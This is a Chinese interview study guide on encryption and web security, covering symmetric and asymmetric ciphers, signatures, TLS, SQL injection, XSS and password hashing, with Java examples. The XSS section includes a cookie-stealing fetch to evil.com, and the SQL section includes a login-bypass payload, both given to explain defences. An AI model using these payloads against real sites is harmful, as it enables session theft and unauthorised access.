Files
interview/questions/09-网络与安全/加密与安全.md
yasinshaw 0e46a367c4 refactor: rename files to Chinese and organize by category
Organized 50 interview questions into 12 categories:
- 01-分布式系统 (9 files): 分布式事务, 分布式锁, 一致性哈希, CAP理论, etc.
- 02-数据库 (2 files): MySQL索引优化, MyBatis核心原理
- 03-缓存 (5 files): Redis数据结构, 缓存问题, LRU算法, etc.
- 04-消息队列 (1 file): RocketMQ/Kafka
- 05-并发编程 (4 files): 线程池, 设计模式, 限流策略, etc.
- 06-JVM (1 file): JVM和垃圾回收
- 07-系统设计 (8 files): 秒杀系统, 短链接, IM, Feed流, etc.
- 08-算法与数据结构 (4 files): B+树, 红黑树, 跳表, 时间轮
- 09-网络与安全 (3 files): TCP/IP, 加密安全, 性能优化
- 10-中间件 (4 files): Spring Boot, Nacos, Dubbo, Nginx
- 11-运维 (4 files): Kubernetes, CI/CD, Docker, 可观测性
- 12-面试技巧 (1 file): 面试技巧和职业规划

All files renamed to Chinese for better accessibility and
organized into categorized folders for easier navigation.

Generated with [Claude Code](https://claude.com/claude-code)
via [Happy](https://happy.engineering)

Co-Authored-By: Claude <noreply@anthropic.com>
Co-Authored-By: Happy <yesreply@happy.engineering>
2026-03-01 00:10:53 +08:00

16 KiB
Raw Blame History

加密与安全

问题

  1. 对称加密和非对称加密的区别是什么?
  2. Base64 是加密吗?为什么?
  3. 什么是数字签名?如何防止数据篡改?
  4. HTTPS 中的 TLS 握手过程是怎样的?
  5. 什么是中间人攻击?如何防范?
  6. SQL 注入和 XSS 攻击的原理和防范措施?
  7. 密码存储的最佳实践是什么?
  8. 在实际项目中如何保证数据安全?

标准答案

1. 对称加密 vs 非对称加密

对称加密

特点:加密和解密使用同一个密钥。

加密:明文 + 密钥 → 密文
解密:密文 + 密钥 → 明文

常见算法

  • AESAdvanced Encryption Standard推荐
  • DESData Encryption Standard已过时密钥太短
  • 3DESDES 的改进,但速度慢
  • RC4:已不安全

Java 示例

import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import java.util.Base64;

public class AESExample {
    public static void main(String[] args) throws Exception {
        // 生成密钥
        KeyGenerator keyGen = KeyGenerator.getInstance("AES");
        keyGen.init(256); // AES-256
        SecretKey secretKey = keyGen.generateKey();

        // 加密
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        cipher.init(Cipher.ENCRYPT_MODE, secretKey);
        byte[] encrypted = cipher.doFinal("Hello World".getBytes());
        System.out.println("加密:" + Base64.getEncoder().encodeToString(encrypted));

        // 解密
        cipher.init(Cipher.DECRYPT_MODE, secretKey);
        byte[] decrypted = cipher.doFinal(encrypted);
        System.out.println("解密:" + new String(decrypted));
    }
}

优点

  • 速度快(比非对称加密快 100-1000 倍)
  • 适合加密大量数据

缺点

  • 密钥分发困难(如何安全地共享密钥?)

非对称加密

特点:加密和解密使用不同的密钥(公钥和私钥)。

公钥加密:明文 + 公钥 → 密文
私钥解密:密文 + 私钥 → 明文

或者:
私钥签名:明文 + 私钥 → 签名
公钥验签:签名 + 公钥 → 验证

常见算法

  • RSA:最常用
  • ECC(椭圆曲线加密):密钥更短,速度更快
  • DSA:数字签名算法

Java 示例

import java.security.*;
import javax.crypto.Cipher;
import java.util.Base64;

public class RSAExample {
    public static void main(String[] args) throws Exception {
        // 生成密钥对
        KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
        keyGen.initialize(2048);
        KeyPair keyPair = keyGen.generateKeyPair();
        PublicKey publicKey = keyPair.getPublic();
        PrivateKey privateKey = keyPair.getPrivate();

        // 公钥加密
        Cipher cipher = Cipher.getInstance("RSA");
        cipher.init(Cipher.ENCRYPT_MODE, publicKey);
        byte[] encrypted = cipher.doFinal("Hello World".getBytes());
        System.out.println("加密:" + Base64.getEncoder().encodeToString(encrypted));

        // 私钥解密
        cipher.init(Cipher.DECRYPT_MODE, privateKey);
        byte[] decrypted = cipher.doFinal(encrypted);
        System.out.println("解密:" + new String(decrypted));
    }
}

优点

  • 无需安全分发密钥(公钥可以公开)
  • 可用于数字签名

缺点

  • 速度慢(比对称加密慢 100-1000 倍)
  • 不适合加密大量数据

混合加密HTTPS 使用)

1. 使用非对称加密协商对称密钥
2. 使用对称密钥加密数据

优点

  • 结合两者优点(安全 + 速度)

2. Base64 是加密吗?

答案:不是!

Base64 是编码,不是加密。

目的

  • 将二进制数据转换为 ASCII 字符串
  • 方便在文本协议中传输(如 HTTP、Email

原理

二进制01001000 0110101 01011011
Base64SGVsbG8=

编码表64 个字符):
A-Z (26) + a-z (26) + 0-9 (10) + + / (2) = 64

特点

  • 可逆(可解码)
  • 无密钥(任何人都能解码)
  • 数据会增大 33%

示例

import java.util.Base64;

public class Base64Example {
    public static void main(String[] args) {
        String original = "Hello World";

        // 编码
        String encoded = Base64.getEncoder().encodeToString(original.getBytes());
        System.out.println("编码:" + encoded); // SGVsbG8gV29ybGQ=

        // 解码
        String decoded = new String(Base64.getDecoder().decode(encoded));
        System.out.println("解码:" + decoded); // Hello World
    }
}

错误用法

// ❌ 用 Base64 存储密码(不安全)
String password = "123456";
String encoded = Base64.getEncoder().encodeToString(password.getBytes());
// 存储到数据库
// 攻击者可以直接解码!

3. 数字签名

原理

数字签名用于验证:

  1. 完整性:数据未被篡改
  2. 身份认证:发送者确实是声称的人
  3. 不可抵赖:发送者无法否认发送过

流程

发送方(签名):
1. 对原文计算哈希hash = SHA256(原文)
2. 用私钥加密哈希signature = RSA_Encrypt(hash, 私钥)
3. 发送:原文 + signature

接收方(验签):
1. 对原文计算哈希hash1 = SHA256(原文)
2. 用公钥解密签名hash2 = RSA_Decrypt(signature, 公钥)
3. 对比 hash1 和 hash2
   - 相同 → 签名有效
   - 不同 → 数据被篡改

Java 实现

import java.security.*;
import java.util.Base64;

public class DigitalSignatureExample {
    public static void main(String[] args) throws Exception {
        // 生成密钥对
        KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
        keyGen.initialize(2048);
        KeyPair keyPair = keyGen.generateKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        PublicKey publicKey = keyPair.getPublic();

        // 待签名数据
        String data = "重要合同内容";

        // 签名
        Signature signature = Signature.getInstance("SHA256withRSA");
        signature.initSign(privateKey);
        signature.update(data.getBytes());
        byte[] signatureBytes = signature.sign();
        System.out.println("签名:" + Base64.getEncoder().encodeToString(signatureBytes));

        // 验签
        signature.initVerify(publicKey);
        signature.update(data.getBytes());
        boolean isValid = signature.verify(signatureBytes);
        System.out.println("验签结果:" + isValid);
    }
}

实际应用

  1. 软件签名:验证软件来源
  2. 代码签名:防止代码被篡改
  3. PDF 签名:电子合同
  4. JWTJSON Web TokenAPI 认证
// JWT 示例
String token = Jwts.builder()
    .setSubject("user123")
    .signWith(Keys.hmacShaKeyFor(secretKey), SignatureAlgorithm.HS256)
    .compact();

// 验证 JWT
Claims claims = Jwts.parserBuilder()
    .setSigningKey(secretKey)
    .build()
    .parseClaimsJws(token)
    .getBody();

4. SQL 注入攻击

原理

攻击者在输入中注入恶意 SQL 代码。

示例

// ❌ 不安全的代码(拼接 SQL
String username = request.getParameter("username");
String password = request.getParameter("password");
String sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";

// 攻击者输入:
username = "admin' OR '1'='1";
password = "anything"

// 实际执行的 SQL
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'
// 结果:永远为真,绕过密码验证!

危害

  • 绕过认证
  • 窃取数据
  • 删除数据
  • 提升权限

防范措施

1. 使用预编译语句PreparedStatement

// ✅ 安全代码
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();

原理参数化查询SQL 结构固定,参数不会被解析为 SQL 代码。


2. 输入验证

// 验证用户名格式
if (!username.matches("^[a-zA-Z0-9_]{3,20}$")) {
    throw new IllegalArgumentException("用户名格式不正确");
}

3. 最小权限原则

-- 应用用户只授予必要权限
GRANT SELECT, INSERT, UPDATE ON app_db.* TO 'app_user'@'localhost';
-- 不要授予 DROP、ALTER 等危险权限

4. 使用 ORM

// JPA/Hibernate 自动防止 SQL 注入
User user = userRepository.findByUsernameAndPassword(username, password);

5. XSS 攻击(跨站脚本攻击)

原理

攻击者在网页中注入恶意 JavaScript 代码。

示例

<!-- 用户输入评论 -->
<script>
  // 攻击者注入的代码
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

危害

  • 窃取 Cookie
  • 会话劫持
  • 重定向到钓鱼网站
  • 篡改网页内容

防范措施

1. 输出转义

// 使用 Spring 的 HTML 转义
import org.springframework.web.util.HtmlUtils;

String userInput = "<script>alert('XSS')</script>";
String escaped = HtmlUtils.htmlEscape(userInput);
// 输出:&lt;script&gt;alert('XSS')&lt;/script&gt;

2. CSPContent Security Policy

# HTTP 响应头
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'

3. HttpOnly Cookie

// 设置 Cookie 为 HttpOnlyJavaScript 无法访问)
Cookie cookie = new Cookie("session", token);
cookie.setHttpOnly(true);
cookie.setSecure(true); // 仅 HTTPS 传输
response.addCookie(cookie);

4. 输入验证

// 白名单验证
if (!comment.matches("[a-zA-Z0-9 \\u4e00-\\u9fa5]+")) {
    throw new IllegalArgumentException("评论包含非法字符");
}

6. 密码存储

错误做法

// ❌ 明文存储
password = "123456";

// ❌ Base64 编码(可逆)
password = Base64.getEncoder().encodeToString("123456".getBytes());

// ❌ MD5 哈希(易被彩虹表破解)
password = DigestUtils.md5Hex("123456"); // e10adc3949ba59abbe56e057f20f883e

正确做法BCrypt

特点

  • 自动加盐Salt
  • 慢哈希(防暴力破解)
  • 可调整计算成本
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;

public class PasswordExample {
    public static void main(String[] args) {
        BCryptPasswordEncoder encoder = new BCryptPasswordEncoder();

        // 加密(自动加盐)
        String rawPassword = "123456";
        String encodedPassword = encoder.encode(rawPassword);
        System.out.println("加密后:" + encodedPassword);
        // 输出:$2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy

        // 验证
        boolean matches = encoder.matches(rawPassword, encodedPassword);
        System.out.println("验证结果:" + matches); // true
    }
}

密码存储最佳实践

  1. 使用慢哈希算法

    • BCrypt推荐
    • Argon2最新
    • PBKDF2
    • Scrypt
  2. 每个密码独立的盐

    salt = random_bytes(16);
    hashed_password = hash(password + salt);
    
  3. 调整计算成本

    // BCrypt 成本参数10-12 为宜)
    BCryptPasswordEncoder encoder = new BCryptPasswordEncoder(12);
    
  4. 不要自己发明加密算法


7. HTTPS 完整流程

客户端                            服务器
  │                                 │
  │─────── ClientHello ────────────→│
  │  支持的加密套件、随机数1       │
  │                                 │
  │←────── ServerHello ─────────────│
  │  选择的加密套件、随机数2、证书 │
  │←────── Certificate ─────────────│
  │                                 │
  │─────── 验证证书 ────────────────│
  │  (检查 CA 签名、有效期等)       │
  │                                 │
  │─────── 生成随机数3 ─────────────→│
  │─────── 用公钥加密随机数3 ─────────→│
  │                                 │
  │                            服务器用私钥解密
  │                            生成会话密钥:
  │                            master_secret = PRF(随机数1, 随机数2, 随机数3)
  │                                 │
  │←─────── ChangeCipherSpec ────────│
  │←─────── Finished ────────────────│
  │  (用会话密钥加密,证明安全)     │
  │                                 │
  │─────── ChangeCipherSpec ─────────→│
  │─────── Finished ────────────────→│
  │  (用会话密钥加密)               │
  │                                 │
  │══════ 加密通信 ══════════════════│
  │  (使用会话密钥对称加密)         │

8. 中间人攻击

原理

攻击者拦截并可能篡改通信双方的通信内容。

客户端                攻击者                服务器
  │                     │                     │
  ├─── HTTPS 请求 ────→│                     │
  │                     ├─── 伪造请求 ───────→│
  │                     │                     │
  │←──── 伪造响应 ──────│←──── 真实响应 ──────│
  │←────────────────────│                     │

防范措施

1. HTTPS + 证书验证

  • 验证服务器证书
  • 检查证书链
  • 验证证书有效期

2. HSTSHTTP Strict Transport Security

Strict-Transport-Security: max-age=31536000; includeSubDomains

3. 证书固定Certificate Pinning

// 移动应用中固定证书
public class CertificatePinner {
    private static final String KNOWN_CERT = "SHA256:AAAAAAAAA...";

    public void verifyCertificate(X509Certificate cert) {
        String certHash = calculateCertificateHash(cert);
        if (!certHash.equals(KNOWN_CERT)) {
            throw new SSLException("证书不匹配");
        }
    }
}

9. 实际项目安全实践

安全检查清单

  • 所有用户输入都经过验证和转义
  • 密码使用 BCrypt 存储且每次加不同的盐
  • 敏感数据在传输时使用 HTTPS 加密
  • 敏感数据在存储时使用 AES 加密
  • API 使用 JWT 或 OAuth2 认证
  • 实施 CSRF 防护CSRF Token
  • 实施 CORS 限制
  • 设置安全响应头CSP、X-Frame-Options 等)
  • 定期进行安全审计和渗透测试
  • 使用依赖扫描工具检查漏洞

10. 阿里 P7 加分项

深度理解

  • 理解各种加密算法的数学原理
  • 理解 TLS 1.3 的改进
  • 理解零知识证明等高级加密技术

实战经验

  • 有处理线上安全漏洞的经验
  • 有设计安全架构的经验
  • 有加密性能优化的经验

架构能力

  • 能设计安全的认证和授权体系
  • 能设计数据加密方案
  • 能制定安全开发规范

合规要求

  • 了解 GDPR、等保等安全合规要求
  • 有安全审计和风险评估经验